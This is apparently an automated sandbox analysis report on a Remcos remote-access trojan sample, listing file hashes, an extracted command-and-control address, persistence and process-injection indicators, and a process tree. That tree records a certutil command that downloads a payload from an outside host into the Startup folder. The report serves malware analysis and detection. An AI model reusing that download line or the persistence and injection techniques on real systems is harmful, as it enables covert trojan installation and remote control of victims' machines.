Analysis
- max time kernel
150s - max time network
151s - platform
windows10_x64 - resource
win10v20201028 - submitted
09/11/2020, 20:48
Static task
static1
Behavioral task
behavioral1
Sample
5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe
- Size 958KB
- Sample201109-jz68fmeces
- SHA256 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c
- MD5 039be870dfab8f6ee67594abd7ab727e
- SHA1 2241bd9577bb4f2fc5025858df038f24b698e3f3
- SHA512 de1425b8ce6791f178e018f39fd9b81bc48ca2f32a4de4ba200d167b8abc99e13e0be28c6386c8a3207d5ecc133c8c8ea16642603b0d871ca78c178442fe742f
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
C2
-
www.rmagent.biz:7181
Signatures
- Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BluetoothApis.lnk 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2268 set thread context of 2900 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 79 - Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2900 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2900 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2268 wrote to memory of 3012 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 75 PID 2268 wrote to memory of 3012 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 75 PID 2268 wrote to memory of 3012 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 75 PID 3012 wrote to memory of 4068 3012 cmd.exe 78 PID 3012 wrote to memory of 4068 3012 cmd.exe 78 PID 3012 wrote to memory of 4068 3012 cmd.exe 78 PID 2268 wrote to memory of 2900 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 79 PID 2268 wrote to memory of 2900 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 79 PID 2268 wrote to memory of 2900 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 79 PID 2268 wrote to memory of 2900 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 79 PID 2268 wrote to memory of 2900 2268 5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe 79
Processes
-
C:\Users\Admin\AppData\Local\Temp\5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe"C:\Users\Admin\AppData\Local\Temp\5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe"1⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵PID:4068
-
-
-
C:\Users\Admin\AppData\Local\Temp\5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe"C:\Users\Admin\AppData\Local\Temp\5e920ea78df06e592a1dbda6e6422b359cf0eee4f81d016431cd5ccd8f820d9c.exe"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:2900
-